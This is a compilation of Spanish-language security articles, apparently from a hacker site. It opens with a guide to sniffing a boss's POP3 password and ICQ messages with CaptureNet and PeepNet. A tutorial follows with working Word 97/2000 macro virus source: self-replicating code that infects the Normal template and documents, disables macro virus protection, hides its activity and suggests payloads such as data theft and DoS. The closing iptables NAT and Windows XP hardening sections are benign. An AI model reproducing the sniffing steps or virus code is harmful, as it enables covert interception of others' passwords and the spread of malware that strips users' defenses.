http://www.granavenida.com/dzone/utils/SpyNet

CAPTURENET

Una vez instalado, utilizarlo es tán sencillo como clickear el botón "Start Capture", pero algunas opciones más avanzadas nos permitirán dominar el programa a fondo y obtener los mismos resultados de modo mucho más cómodo, rápido y ordenado.

Pongamos un ejemplo: Queremos averiguar las passwords del e-mail POP3 de nuestro jefe... Entonces tenemos dos métodos sencillos. El primero es combinar CaptureNet con el visor PeepNet, el otro, la búsqueda por filtros del mismo CaptureNet.

PEEPNET

Este método es el más fácil. Capturamos todo durante un buen rato (quizás sea necesario dejarlo capturando todo el día, suponiendo que nuestro jefe chequeará el correo en algún momento y ahí su contraseña pasará por nuestra PC), luego vamos al menú "File/Save as" y grabamos todo lo que capturamos en un archivo CAP (elegimos "save from memory buffer"). Luego tocamos el botón PeepNet, y se ejecutará este programa.

Una vez dentro de PeepNet abrimos el archivo CAP que acabamos de grabar. Allí veremos una lista de algunas de las conexiones que capturamos. Ahora lo único que tenemos que hacer es recorrer una por una las conexiones de POP3, que tienen el icono del sobrecito (el conocido icono del Outlook Express) y en la ventana inferior del visor podremos ver todo lo que la máquina espiada envió al servidor POP3 (es decir, podremos ver el nombre de usuario y contraseña).

FILTROS

La desventaja del método anterior es que no nos muestra todas las conexiones que hubo, por ejemplo, no veremos en PeepNet los mensajes de ICQ que la victima envió y recibió (a menos que lo configuremos correctamente, pero eso se lo dejo a ustedes). Sólo nos muestra ciertos tipos de conexión conocidos, como el HTTP, POP3, TELNET y algunos más.

Para eso tenemos este otro método, que vá un poco más a la raíz del asunto. Ponemos el CaptureNet a capturar todo durante un largo rato, luego tocamos el botón FIND, y nos va a decir que necesitamos definir el filtro. En la sección "IP Address" ponemos el IP de la PC de nuestro jefe, (si es que lo conocemos) y en la sección "Pattern Matching" escribimos el texto que buscamos, por ejemplo "ICQ", "user" y/o "pass".

Luego de ejecutada la búsqueda los paquetes que contengan esas palabras se marcarán con un punto rojo. Si un paquete contiene la palabra PASS, probablemente ese mismo u otro posterior (muy cercano) contenga una clave.

Pero los filtros no solo sirven para hacer búsquedas, sino también, como su nombre lo indica, para filtrar los mensajes que vamos a espiar. Así que si tildamos la opción "Use Filter" para omitir todos los mensajes que no cumplan con las reglas del filtro (cuidado, una regla demasiado restrictiva hará que nos perdamos los paquetes importantes).

No olvidemos que las únicas contraseñas que podremos capturar son las que viajan DESENCRIPTADAS en protocolos básicos, pero por suerte o por desgracia, estas son casi la mayoría... POP3, TELNET, HTTP, etc. Poco a poco la informática va evolucionando de a poco hacia las conexiones seguras, y muy pronto las contraseñas que viajan por la red serán cosa del pasado (habrá contraseñas, pero no habrá necesidad de enviarlas por la red).

Este programa cuenta con muchísimas opciones más, pero un informe tan extenso excedería el propósito introductorio de esta nota.

 

 

 

Guia de Virus Macro Word (Para Word v.97 y v.2000)

 

Fuente: orion E

Autor: LiteSys

 

- Introduccion:
~~~~~~~~~~~~~

Si leyeron el titulo en esta pequeña guia explicare como se programa un virus macro de Word, versiones 97 y 2000 hasta estos dias son las compatibles con este tipo de virus, los correspondientes a versiones anteriores a la SR-1 son programados de una manera diferente y no seran explicados ya que ademas estan obsoletos.

Conocimientos avanzados de VisualBasic son necesarios, y antes de nada habria que tomar varias cosas en cuenta antes de empezar a leer la guia:

(a) Los virus macro son algo realmente trivial, faciles de escribir ya que estan hechos en un lenguaje de nivel altisimo (VB). Se debe tener en cuenta que compararlos con los escritos en ensamblador son relativamente nada, pero son un buen comienzo para iniciarse en el mundo de los virus y luego "saltar" a niveles superiores como ensamblador u
algun otro lenguaje de alto nivel.
(b) En esta guia no se mostrara ni se explicara como escribir codigo destructivo, los virus destructivos en estos dias carecen de sentido ya que se han visto las (desgraciadas) consecuencias de la destruccion de informacion.
(c) Se original a la hora de escribir un virus, colocale codigo que en realidad sean interesantes para otras personas. Esto lo digo debido a que existen infinitas cantidades de virus de macro que solamente infectan y mas nada, como no son originales no se abriran paso en llamar la atencion a otros escritores de virus. Un ejemplo de virus realmente
original puede ser Caligula por Opic, que robaba llaves PGP del usuario infectado, una excelente idea, o el algoritmo de Worm de E-Mail de Melissa.
(d) Ten en cuenta que las capacidades de que un virus macro salga de una maquina y se reproduzca hacia otras partes se ha visto frustrada desde la version SR-1 de Word, debido a que cada vez que se carga un documento aparece un dialogo advirtiendo al usuario de que el documento posee macros, esto puede ser eliminado pero luego de la ejecucion del virus, por lo cual el usuario tendria que haber aceptado la ejecucion de macros primero.
(e) Manifiesto que no cargare con ninguna responsabilidad por algun uso que se le de a los conocimientos explicados en este articulo. Ahora que he dicho lo primero que tenia que decir, creo que seria bueno ir al grano. Carga tu Microsoft Word (ya dije que debe ser una version posterior al 97) y luego presiona ALT-F11 (si no sirve busca en: Herramientas ==> Macro ==> Editor de Visual Basic). Ahi veras varias cosas, primero que nada en el dialogo izquierdo veras la plantilla Normal y el Documento Activo, familiarizate con la interfaz del editor de VB. Veamos la logica de la infeccion del virus de macro, en Word, varias subrutinas se ejecutan bajo ciertos "eventos", como lo son:

Sub AutoOpen() : Cuando se abre un documento.
Sub AutoClose() : Cuando se cierra un documento.
Sub Document_Open() : Cuando se abre un documento.
Sub Document_Close() : Cuando se cierra un documento.
Sub ViewVBCode() : Cuando se carga el editor de Visual Basic (ALT-F11).
Sub ToolsMacro() : Cuando se carga la lista de macros (ALT-F8).
Entonces, logico es que se utilizan AutoOpen(), AutoClose(), Document_Open() o Document_Close() para colocar el codigo, entonces, al cargarse un documento infectado este revisa si la plantilla normal esta infectada, si lo esta, entonces continua. Si no lo esta, copia su codigo a esta, entonces queda el virus residente en la plantilla normal, por lo cual cada vez que se de uno de los eventos anteriormente mencionados esta copiara su codigo a todos los documentos que se abran.

METODO DE INFECCION POR MODULOS

-----------------------------------------------
Consiste en añadir su codigo a traves de modulos de codigo, para ver como va un modulo metete en Insertar ==> Modulo, ahi puedes colocar codigo.

Entonces, este consiste en copiar el modulo de la plantilla normal al documento y viceversa cuando no se este infectado. Veamos el codigo del virus de modulo mas sencillo posible.

’æEjemplo de virus macro de Word #1 - Infeccion
por Modulos LiteSys ’æ
Sub AutoOpen()
On Error Resume Next
For A = 1 To ActiveDocument.VBProject.VBComponents.Count
If
(ActiveDocument.VBProject.VBComponents(A).Name = "Virus") Then Doc = True
Next
For A = 1 To NormalTemplate.VBProject.VBComponents.Count
If
(NormalTemplate.VBProject.VBComponents(A).Name = "Virus") Then Nor = True
Next
If (Doc <> True) Then NormalTemplate.VBProject.VBComponents("Virus").Export
("C:virus.sys")
ActiveDocument.VBProject.VBComponents.Import ("C:virus.sys")
Kill ("C:virus.sys")
End If
If (Nor <> True) Then
ActiveDocument.VBProject.VBComponents("Virus").Export ("C:virus.sys")
NormalTemplate.VBProject.VBComponents.Import ("C:virus.sys")
Kill
("C:virus.sys") End If
End Sub Oh, eso fue
demasiado...

’æEjemplo de virus macro de Word
LiteSys’æ
Sub AutoOpen() On Error Resume Next
Aqui empieza el codigo, como dije anteriormente, con AutoOpen(). El
codigo de la
cuarta linea se coloca para que VBA no reporte errores,
asi evitar "sospechas"
del usuario.

For A = 1 To
ActiveDocument.VBProject.VBComponents.Count
If
(ActiveDocument.VBProject.VBComponents(A).Name = "Virus") Then Doc = True
Next

Se hace un ciclo desde el primero hasta el ultimo de los modulos de codigo del documento activo. ActiveDocument = Documento Activo. VBProject = El "proyecto" correspondiente a VBA. VBComponents = Objeto referente a todos los modulos. Count = Cantidad de modulos. En la segunda linea si el nombre del modulo correspondiente al momento actual del ciclo se llama "Virus" coloca la variable booleana "Doc" como verdadera. Entonces, lo que hace esta parte del codigo es revisar si existe el modulo "Virus" en el documento, es decir, si el documento esta infectado. For A = 1 To NormalTemplate.VBProject.VBComponents.Count If (NormalTemplate.VBProject.VBComponents(A).Name = "Virus") Then Nor = True Next

Esta parte de codigo hace lo mismo que el anterior pero con la plantilla normal, para revisar si la misma esta infectada. Notese que "NormalTemplate" se refiere a la plantilla normal. En la segunda linea si existe el modulo coloca la variable booleana "Nor" como verdadera.

If (Doc <> True) Then
NormalTemplate.VBProject.VBComponents("Virus").Export ("C:virus.sys")
ActiveDocument.VBProject.VBComponents.Import ("C:virus.sys")
Kill
("C:virus.sys") End If
El codigo anterior se ejecuta si la variable booleana "Doc" no es verdadera, es decir, si es falsa, lo cual significa que el documento activo no esta infectado. En ese caso, se exporta el modulo "Virus" de la plantilla Normal al archivo C:virus.sys, y en la tercera linea se importa desde el documento activo desde ese mismo archivo. Por ultimo se borra el archivo C:virus.sys pues no es necesario.

If (Nor <> True) Then
ActiveDocument.VBProject.VBComponents("Virus").Export ("C:virus.sys")
NormalTemplate.VBProject.VBComponents.Import ("C:virus.sys")
Kill
("C:virus.sys")
End If

End Sub Totalmente similar al anterior, pero sucede si la plantilla normal no esta infectada, por lo cual se exportara el modulo "Virus" del documento activo al archivo C:virus.sys y se importara desde la plantilla normal. Por ultimo se borra el archivo C:virus.sys y termina el virus. Por supuesto que este codigo puede ser mucho mas optimizado, como por ejemplo en este codigo:

’æEjemplo de virus macro de Word #2 - Infeccion
por Modulos ’æLiteSys

Sub AutoOpen()

On Error Resume

Next

VBE.ActiveVBProject.VBComponents("Virus").Export "C:virus.sys"

For A = 1 To

ActiveDocument.VBProject.VBComponents.Count

If

(ActiveDocument.VBProject.VBComponents(A).Name = "Virus") Then Doc = True

Next

For A = 1 To NormalTemplate.VBProject.VBComponents.Count

If

(NormalTemplate.VBProject.VBComponents(A).Name = "Virus") Then Nor = True

Next

If (Doc <> True) Then ActiveDocument.VBProject.VBComponents.Import

("C:virus.sys")

End If

If (Nor <> True) Then

NormalTemplate.VBProject.VBComponents.Import ("C:virus.sys")

End If

Kill

("C:virus.sys") End Sub

Este funciona de una manera totalmente similar solamente que esta un poco mas optimizado, solamente voy a explicar una parte de codigo porque creo que lo demas habla por si solo.

VBE.ActiveVBProject.VBComponents("Virus").Export "C:virus.sys"
Este es el objeto ActiveVBProject, se refiere al Proyecto VBA del cual se este ejecutando codigo en el momento, por lo cual puede ser tanto el de la plantilla normal como el del documento activo. Ahora bien, existe tambien la posibilidad de "Setear" los objetos para dificultar la deteccion del virus por parte de los detectores antivirus heuristicos, ahorrarnos codigo y darle al virus una apariencia mas "profesional", como va con el siguiente virus, que es el mismo anterior.

’æEjemplo de virus macro de Word #3 - Infeccion por Modulos ’æLiteSys
Sub

AutoOpen()

On Error Resume

Next

Set ProyActivo =

VBE.ActiveVBProject.VBComponents

Set DocActivo =

ActiveDocument.VBProject.VBComponents

Set PlaNormal =

NormalTemplate.VBProject.VBComponents

Archivo = "C:virus.sys"

ProyActivo("Virus").Export (Archivo)

For A = 1 To DocActivo.Count

If

(DocActivo(A).Name = "Virus") Then

Doc = True Next For A = 1 To PlaNormal.Count

If (PlaNormal(A).Name = "Virus") Then Nor = True

Next

If (Doc <> True) Then

DocActivo.Import (Archivo) End If If (Nor <> True) Then PlaNormal.Import

(Archivo)

End If

Kill (Archivo)

End Sub

Explicare un poco (solo un poco, porque habla por si solo) este codigo.

Set ProyActivo = VBE.ActiveVBProject.VBComponents
Set DocActivo = ActiveDocument.VBProject.VBComponents
Set PlaNormal = NormalTemplate.VBProject.VBComponents
Archivo = "C:virus.sys"

Aqui hacemos el "Seteo", por lo cual ProyActivo apunta al ActiveVBProject, DocActivo apunta al VBProject del documento activo y PlaNormal apunta al VBProject de la plantilla normal, asi que todas las referencias que van despues se dan a estos en vez de darse directamente al objeto. La cuarta linea hace algo parecido pero con un
string, me refiero al archivo de exportacion de los modulos, asi tambien ahorramos un poco de codigo.


METODO DE INFECCION POR CLASS OBJECT O THIS DOCUMENT
--------------------------------------------------------------------------------
Si mas de uno se habra fijado existe un objeto tanto en la plantilla normal como en el documento llamado ThisDocument. Este es el Class Object, un objeto en el cual podemos colocar codigo de igual manera que podemos con modulos, por lo cual abre las puertas a otro metodo de infeccion y la ventaja de que las macros en este no se muestran en la lista de macros al presionar ALT-F8. El metodo fue inventado por

VicodinES, miembro del grupo CodeBreakers y The Narcotic Network.

Anteriormente se pensaba que este metodo no era lo suficientemente eficiente debido a que si existen dos subrutinas o funciones de igual nombre, una en el documento activo y la otra en la plantilla normal, el codigo no correra por lo que habia que utilizar el metodo ReplaceLine del CodeModule para cambiarle el nombre a la subrutina o funcion, algo muy engorroso. Pero la solucion fue mas tonta de lo que se pensaba, en vez de la sintaxis comun de:
Sub Yuca() End Sub -o- Function
Loca() as
String End Function Debemos colocarla de la siguiente forma: Private
Sub Yuca() End Sub -o- Private Function Loca() as String End Function


Otra cosa que hay que tener en cuenta, en este metodo de infeccion debemos utilizar los hooks Document_Open() o Document_Close() en vez de AutoOpen() o AutoClose(). Ahora bien, escribir un virus para este es algo parecido, con algunas variaciones. Como veremos en el codigo, entra en juego un nuevo objeto:
El CodeModule, pero antes de entrar con esto, es mejor mostrar un codigo.

’æEjemplo de virus macro de Word #4 - Infeccion
por ’æ
Class Object Private
Sub Document_Open()
On Error Resume
Next
If
(ActiveDocument.VBProject.VBComponents(1).CodeModule.CountOfLines = 0) Then
NormalTemplate.VBProject.VBComponents(1).Export ("C:virus.sys")
ActiveDocument.VBProject.VBComponents(1).CodeModule.AddFromFile ("C:virus.sys")
ActiveDocument.VBProject.VBComponents(1).CodeModule.DeleteLines 1, 4
End If
If
(NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines = 0) Then
ActiveDocument.VBProject.VBComponents(1).Export ("C:virus.sys")
NormalTemplate.VBProject.VBComponents(1).CodeModule.AddFromFile ("C:virus.sys")
NormalTemplate.VBProject.VBComponents(1).CodeModule.DeleteLines 1, 4
End If
Kill
("C:virus.sys")
End Sub

Como podemos apreciar, la cantidad de codigo utilizado aqui es mucho menor, incluso si "Seteamos" los objetos ahorraremos una cantidad magnifica de codigo, aunque creo que se me olvida explicar el codigo
... If
(ActiveDocument.VBProject.VBComponents(1).CodeModule.CountOfLines = 0) Then
NormalTemplate.VBProject.VBComponents(1).Export ("C:virus.sys")
ActiveDocument.VBProject.VBComponents(1).CodeModule.AddFromFile ("C:virus.sys")
ActiveDocument.VBProject.VBComponents(1).CodeModule.DeleteLines 1, 4
End If

Este codigo se ejecuta con la condicion de que la cantidad de lineas en el Class Object del documento activo sea igual a cero (tengamos en cuenta que el Class Object siempre es el primer VBComponent del
proyecto), este metodo no me convence porque puede que en ese Class Object exista otro codigo y simplemente no se reproduzca, por lo que luego colocare otro codigo. Siguiendo con el codigo, en la segunda linea se exporta el codigo desde la plantilla normal a C:virus.sys. En la tercera linea se importa el codigo desde C:virus.sys al Class Object del documento activo, este metodo tampoco me convence por lo que colocare luego otro codigo. La cuarta linea elimina las primeras cuatro lineas, por que? porque cuando se importa se añaden cuatro lineas que provocarian un error: VERSION 1.0 CLASS BEGIN MultiUse = -1 ’æTrue End

Por eso los eliminamos. Siguiendo con el codigo... If (NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines = 0) Then
ActiveDocument.VBProject.VBComponents(1).Export ("C:virus.sys")
NormalTemplate.VBProject.VBComponents(1).CodeModule.AddFromFile ("C:virus.sys")
NormalTemplate.VBProject.VBComponents(1).CodeModule.DeleteLines 1, 4
End If

Esto hace totalmente LO MISMO que el anterior pero con la plantilla normal, no creo que sea necesario explicarlo ya que funciona totalmente igual. Como decia anteriormente, los metodos del virus anterior no me convencen del todo y creo que pueden dificultar la reproduccion del virus, por lo cual colocare uno que en realidad yo pienso funciona mejor.

’æCoder ’æEjemplo de virus macro de Word #5 - Infeccion por
Class Object Private

Sub Document_Open()

If

(ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 1) <> "’æCoder")

Then Twinkie = NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines

Yuppie = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(1, Twinkie)

ActiveDocument.VBProject.VBComponents(1).CodeModule.AddFromString Yuppie

End If

If (NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(1, 1) <> "’æCoder") Then

Twinkie = ActiveDocument.VBProject.VBComponents(1).CodeModule.CountOfLines

Yuppie = ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(1, Twinkie)

NormalTemplate.VBProject.VBComponents(1).CodeModule.AddFromString Yuppie

End If

End Sub

Finalmente he aqui los metodos que me gusta utilizar en mis virus macro. Mas rapido, y si cuentas el numero de lineas es el mismo.. y tambien se puede optimizar mucho el codigo, como hare en el proximo virus que colocare... Puede que resulte un poco dificil de entender porque no existen optimizaciones de tipo Set y cosas asi, pero lo mejor de este metodo es su rapidez ya que no tienes que manipular ningun archivo.

Explicare el codigo parte por parte para asi entenderlo todos.

æCoder ’æCoder es nuestra "Marca de Infeccion", la utilizamos para saber si el virus existe en la plantilla normal o el documento activo, por lo cual tenemos mejores posibilidades de infectar, entonces, siguiendo con el codigo veras como utilizamos dicha marca de infeccion.
If (ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 1) <> "’æCoder")
Then
Twinkie = NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines
Yuppie = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(1, Twinkie)
ActiveDocument.VBProject.VBComponents(1).CodeModule.AddFromString Yuppie
End If

El codigo anterior se ejecuta si en el class object del documento activo su primera linea no es igual a "’æCoder", nuestra marca de infeccion. En la segunda linea podemos apreciar que la variable Twinkie es igual a el numero de lineas del class object de la plantilla normal. En la tercera linea la variable Yuppie es igual a todo el codigo del class object de la plantilla normal desde la primera linea hasta Twinkie, por lo cual Yuppie representa todo el codigo del class object de la plantilla. Por ultimo en la cuarta linea importamos el codigo desde Yuppie hasta el class object del documento activo, como dije anteriormente, sin utilizar archivos! mas rapido, por supuesto. Ahora vayamos a otro codigo, que es el mismo anterior pero un poco mejor optimizado.

’æVirus Private Sub
Document_Open()
On Error Resume
Next
Set Doc =
ActiveDocument.VBProject.VBComponents(1).CodeModule
Set Pla =
NormalTemplate.VBProject.VBComponents(1).CodeModule
Set Yop =
VBE.ActiveVBProject.VBComponents(1).CodeModule
Codigo = Yop.Lines(1,
Yop.CountOfLines)
If (Doc.Lines(1, 1) <> "’æVirus") Then
Doc.AddFromString Codigo
If (Pla.Lines(1, 1) <> "’æVirus") Then
Pla.AddFromString Codigo
End Sub


Me creas o no eso es todo un virus. Como veras la marca de infeccion es "Virus" y a mi propio juicio creo que lo optimice bien. Las explicaciones van, aunque no creo que sean muy necesarias eh? =P.

Set Doc = ActiveDocument.VBProject.VBComponents(1).CodeModule
Set Pla = NormalTemplate.VBProject.VBComponents(1).CodeModule

Set Yop = VBE.ActiveVBProject.VBComponents(1).CodeModule

Codigo = Yop.Lines(1, Yop.CountOfLines)

Colocamos a Doc igual al modulo codigo del class object del documento activo. Pla es igual al modulo codigo del class object de la plantilla normal. Yop es igual al modulo codigo del class object del proyecto activo.

Y Codigo es igual a todo el codigo del
class object del proyecto activo.
If (Doc.Lines(1, 1) <> "’æVirus") Then Doc.AddFromString Codigo
If (Pla.Lines(1, 1) <> "’æVirus") Then Pla.AddFromString Codigo

Revisamos si la primera linea del documento activo es igual a nuestra marca de infeccion, si no lo es importamos desde la variable "Codigo" anteriormente declarada. Luego hace lo mismo con la plantilla Normal.

Existe otro metodo para revisar si el documento activo o la plantilla normal estan infectados, que consiste en cambiarle el nombre al Class Object y utilizar dicho nombre como marca de infeccion, esto se logra a traves de la propiedad "Name", la cual se encuentra en:

ActiveDocument.VBProject.VBComponents(1).Name

NormalTemplate.VBProject.VBComponents(1).Name

Esta propiedad es totalmente modificable y como dije anteriormente puede ser usada tambien como marca de infeccion. Bien, creo que ha sido todo por parte de la infeccion a traves del Class Object.


ALGUNAS COSAS QUE COLOCARLE A LOS VIRUS
---------------------------------------
--------------

Siempre ha resultado buena la idea de guardar el documento activo despues de infectar, de manera que asi se guarden los documentos que solo son abiertos para "ser vistos". *** NOTA: No vayas a colocar esta linea de codigo cuando implementes en tu virus tecnicas como polimorfismo o encriptamiento, por que (por lo menos en el pote de maquina ese que tengo yo) el Word provoca un error... El codigo es simple, solo tienes que colocar despues de la infeccion lo siguiente: ActiveDocument.SaveAs ActiveDocument.FullName Una buena idea de stealth es eliminar la proteccion de virus, esto lo podemos hacer sencillamente colocando el codigo:
Options.VirusProtection = False Este codigo solamente funciona con la version ’æ97, pero la 2000 tenemos que hacer otras cosas, editar en el registro de sistema, lo cual podemos lograr a traves de:

System.PrivateProfileString("","HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0WordSecurity","Level") = "1" Otra cosa conveniente para hacer es controlar los errores, cuando termines de escribir tu virus nunca olvides esto, si no quieres que tu usuario se de cuenta:
On Error Resume Next
Otro buen codigo stealth es el eliminar la barra de estado, pues en esta muestra cuando se esta guardando el documento, cosa que no queremos que el usuario vea, por lo cual simplemente:

Application.DisplayStatusBar = False
Como se me pueden olvidar los famosisimos Stealth Hooks? pues, como viste una de las subrutinas mostradas anteriormente, podemos utilizarlas para que cuando el usuario pida la lista de macros o corra el editor de visual basic simplemente no haga nada. *** NOTA: Esto no funciona en el modo "Private" de la Class Infection, por lo cual tenemos si lo queremos usar en un Class debemos utilizar el metodo ReplaceLine.

Sub ViewVBCode()
End Sub

Sub ToolsMacro()

Enb Sub

Existen otras tecnicas de stealth mucho mas avanzadas, por ejemplo la de eliminar el codigo mientras el dialogo de macros este activo, pero creo que esto es una guia introductoria no mas.

PAYLOAD
-------
---
Otro codigo que nunca dejamos dejar pasar es el payload! el payload no es mas que la manifestacion de la existencia del virus para con el usuario del virus, como dije anteriormente no voy a colocar payloads destructivos, solamente una introduccion... lo demas veran como lo colocan ustedes. Para hacer que el payload se ejecute en un dia, fecha, año u hora determinados tenemos varias funciones:
Day(Now) : Devuelve el dia actual.
WeekDay(Now) : Devuelve el dia de la semana actual.
Month(Now) : Devuelve el mes actual.
Hour(Now) : Devuelve la hora actual.
Minute(Now) : Devuelve el minuto de la hora actual.
Year(Now) : Devuelve el año actual.
Existen muchas posibilidades para tus payloads, puedo mencionar varias ideas:
- Cajitas de Mensaje
- Contenido del Documento
- Nombre del usuario registrado
- Asistente de Word (ese maldito clip que aparece ahi)
- El registro del sistema (puedes cambiar TODO en windoze!)
- Wallpapers!
- Robo de informacion
- Ataques DoS a websites fascistas y/o es
tupidos (onda planetachurbe o loquemierda) - Y muchas cosas mas! las posibilidades son muchas...
-- Cajitas de Mensaje --
Tomemos un ejemplo que el dia 15 de cada mes muestre una caja de mensaje diciendo "Hola, soy tu nuevo amigo" con:
If ( Day(Now) = 15 ) Then MsgBox "Hola, soy tu nuevo amigo"
End If -- Contenido del Documento
--
Que tal si a las ocho de la noche coloque al final del documento un texto?

If (Hour(Now) = 8) Then ActiveDocument.Content = ActiveDocument.Content + "Apaga el computador y vete a la cama!"
End If

-- Nombre del Usuario Registrado --
Como quedaria si cada Martes 13 cambiamos el nombre del usuario registrado en Office?

If (WeekDay(Now) = 3) And (Day(Now) = 13) Then Application.UserName = "TE VERE EN EL INFIERNO"
End If

Sin tampoco dejar de mencionar otros Add-Ons que le podemos colocar a tu virus para hacerlo mas interesante, menos detectable y mas potente:
- Encriptacion
- Polimorfismo
- Stealth Avanzado
- Infeccion a otros miembros de la familia office (Cross-Infection)
- Hacer un dropper para
colocar otro virus en el sistema
- Worms (IRC, E-Mail, etc...)
- Muchas cosas mas!

 

 

 

Iptables y NAT para vagos

 

Fuente: BULMAlug

Autor: gallir

 

En nuestros ejemplos vamos aprovechar las capacidades de control de conexiones que tienen las iptables. Primero, hay que tener en cuenta que el forwarding debe estar habilitado:

echo 1 > /proc/sys/net/ipv4/ip_forward

Y también recordar que para cambiar las reglas, primero hay que borrar las anteriores, por ejemplo:

iptables -F

iptables -t nat -F

Ahora veremos ejemplos particulares, en todos los ejemplos suponemos que las direcciones de nuestra red privada son192.168.0.0/24 (es decir la máscara es de 24 bits: 255.255.255.0)

Sólo quiero hacer masquerading de una IP asignada dinámicamente

Caso común para un Linux que obtiene direcciones dinámicas de su proveedor de Internet, en el ejemplo lo doy con la interfaz ippp0, que es la que se usa para RDSI, pero podéis sustituirla por caulquier interfaz que uséis (eth0, ppp0...).

Además de hacer el NAT, vamos a permitir el tráfico ICMP (de los pings...) ya que está recomendado que así funcione.Veremos que las última 3 reglas, que no son obligatorias, peri os las recomiendo, lo que haces es descartar cualquier paquete que no sea de uina conexión previamente establecida.

# Habilito el NAT
iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -d 0.0.0.0/0
-j MASQUERADE
# Dejo pasar los paquetes ICMP
iptables -A INPUT -i ippp0 -p ICMP -j ACCEPT
# Acepto paquetes de conexiones ya establecidas
iptables -A INPUT -p TCP -m state --state RELATED
-j ACCEPT
# Rechazamos paquetes de conexiones nuevas
iptables -A INPUT -i ippp0 -m state --state NEW,INVALID -j DROP
# Rechazamos paquetes de forwarding de conexiones no establecidas
iptables -A FORWARD -i ippp0 -m state --state NEW,INVALID -j DROP



Pero también quiero permitir conexiones entrantes SSH y HTTP

Eso es fácil, antes de las últimas reglas DROP hay que poner unas que permitan las conexiones nuevas a esos puertos.
Las reglas nos quedan de la siguiente forma:

# Habilito el NAT
iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -d 0.0.0.0/0
-j MASQUERADE
# Dejo pasar los paquetes ICMP
iptables -A INPUT -i ippp0 -p ICMP -j ACCEPT
# Permito conexiones al puerto 80 (HTTP)
iptables -A INPUT -i ippp0 -p TCP --dport 80 -m state --state NEW
-j ACCEPT
# Permito conexiones al puerto 22 (SSH)
iptables -A INPUT -i ippp0 -p TCP --dport 22 -m state --state NEW
-j ACCEPT
# Acepto paquetes de conexiones ya establecidas
iptables -A INPUT -p TCP -m state --state RELATED
-j ACCEPT
# Rechazamos paquetes de conexiones nuevas
iptables -A INPUT -i ippp0 -m state --state NEW,INVALID -j DROP
# Rechazamos paquetes de forwarding de conexiones no establecidas
iptables -A FORWARD -i ippp0 -m state --state NEW,INVALID -j DROP



Si queréis abrir otros puestos, sólo tenéis que agregar esas nuevas reglas.
Tengo dirección IP fija, ¿como lo hago?


Es muy fácil, en vez de usar masquerading, vamos a usar una solución mejor: source NAT. Sólo hay que cambiar la regla del nat (la primera en los ejemplos anteriores). Si la interfaz que tiene la IP fija es la eth0, y la IP fija es la 111.111.111.111, nos quedaría:

# Habilito el SNAT
iptables -t nat -A POSTROUTING -o eth0 -j SNAT --to 111.111.111.111
# Dejo pasar los paquetes ICMP
iptables -A INPUT -i eth0 -p ICMP -j ACCEPT
# Permito conexiones al puerto 80 (HTTP)
-j ACCEPT
# Permito conexiones al puerto 22 (SSH)
iptables -A INPUT -i eth0 -p TCP --dport 22 -m state --state NEW
-j ACCEPT
# Acepto paquetes de conexiones ya establecidas
iptables -A INPUT -p TCP -m state --state RELATED
-j ACCEPT
# Rechazamos paquetes de conexiones nuevas
iptables -A INPUT -i eth0 -m state --state NEW,INVALID -j DROP
# Rechazamos paquetes de forwarding de conexiones no establecidas
iptables -A FORWARD -i eth0 -m state --state NEW,INVALID -j DROP



Vale, pero ahora quiero redireccionar las conexiones a un puerto hacia un ordenador interno de mi LAN

Esto se llama destination NAT es bastante sencillo, sólo hay que poner una regla adicional. Por ejemplo, si queremos redireccionar las conexiones al puerto 80 hacia el puerto 80 de un ordenador en la red interna (192.168.0.111).
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j DNAT
--to 192.168.0.111:80


Otro ejemplo sencillo y muy útil, redireccionar el puerto 2022 del ordenador haciendo de NAT o firewall hacia el puerto 22 (ssh) de un ordenador de la red interna.
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 2022 -j DNAT
--to 192.168.0.111:22

 

 

 

Guía Básica de Seguridad en WinXP

 

Fuente: Seguridad y Sistemas

Autor: Micro$oft

 

Guía Básica de Seguridad en WinXP

Listas básicas de Comprobación de Seguridad para Windows XP
Estas listas de comprobación resumen los pasos que debe seguir para lograr un adecuado nivel de seguridad con Windows XP Professional, tanto en instalaciones autónomas como dentro de un dominio de Windows 2000 o Windows NT.

IMPORTANTE:
El propósito de estas listas de comprobación es el de dar instrucciones para configurar un nivel básico de seguridad para ordenadores con Windows XP. Esta guía no ofrece una lista de todas las funciones de seguridad incorporadas en Windows XP, o de su forma de uso. Hay una lista completa de las funcionalidades de seguridad disponibles en Windows XP en el sitio Web de Microsoft.

Estas listas de chequeo contienen información sobre modificaciones en el Registro. Antes de editar el Registro, asegúrese de que sabe cómo recuperar la situación anterior en caso de surgir algún problema. Para más información acerca de cómo hacer esto, lea la ayuda en línea del Editor del Registro.

Configuración de Windows XP Professional

Pasos:
Verificar que todas las particiones de disco están formateadas con NTFS
Proteger adecuadamente las carpetas compartidas
Utilizar la función Conexión Compartida a Internet para conexiones compartidas a Internet
Habilitar la función de Firewall para la Conexión a Internet
Utilizar las políticas de restricción de software
Utilizar passwords para las cuentas de usuario
Deshabilitar los servicios no necesarios
Deshabilitar o eliminar las cuentas de usuario innecesarias
Asegurarse de que la cuenta Invitado está desactivada
Implantar políticas de password estrictas
Implantar políticas de bloqueo de cuentas
Instalar software antivirus y actualizarlo adecuadamente
Mantenerse al día con las últimas actualizaciones de seguridad

Detalles de la lista de comprobación de la configuración de Windows XP

Verificar que todas las particiones de disco están formateadas con NTFS
Las particiones NTFS ofrecen controles de acceso y protección que no existen en los sistemas de archivos FAT, FAT32 o FAT32x. Compruebe que todas las particiones de disco de su ordenador están formateadas con NTFS. Si es preciso, utilice el programa Convert para transformar sus particiones FAT en NTFS sin destruir los datos.

Proteger las carpetas compartidas
